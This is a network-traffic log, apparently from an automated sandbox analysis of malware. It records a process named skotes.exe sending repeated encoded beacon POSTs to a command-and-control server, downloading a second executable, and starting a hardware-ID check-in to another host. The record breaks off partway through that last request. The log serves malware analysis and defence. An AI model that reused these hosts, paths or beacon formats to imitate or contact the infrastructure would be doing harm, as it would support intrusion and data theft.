Oct 31, 2024 20:53:43.151346922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:44.093875885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50123	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:45.710475922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:46.659732103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50138	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:48.180963993 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:49.115070105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50148	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:50.754878044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:51.691068888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50155	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:53.206152916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:54.165513039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50156	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:55.780431032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:56.729402065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50157	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:58.333106995 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:59.293353081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50159	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:00.917850018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:01.881932020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50160	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:03.404241085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:04.330797911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50161	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:05.955585003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:06.885584116 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50162	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:08.404098034 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:09.337690115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50163	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:10.967119932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:11.896167994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50164	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:13.416965961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:14.372509003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50165	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:16.003973961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:16.952126980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50166	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:18.470753908 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:19.441840887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50170	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:21.063574076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:21.999063015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50171	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:23.511955976 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:24.455919027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50172	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:26.079029083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:27.011416912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50173	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:28.525157928 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:29.466849089 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50174	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:31.083575964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:32.050409079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50175	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:33.564882994 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:34.524089098 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 0d 0a 20 3c 63 3e 31 30 30 32 39 38 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 61 <c>1002980001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50176	185.215.113.16	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:34.541469097 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMT If-None-Match: "6723dab6-208800"
Oct 31, 2024 20:54:35.464068890 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:35 GMT Last-Modified: Thu, 31 Oct 2024 19:29:58 GMT Connection: keep-alive ETag: "6723dab6-208800"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	50177	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:37.300436020 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:54:38.262620926 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:54:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:54:38.268053055 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 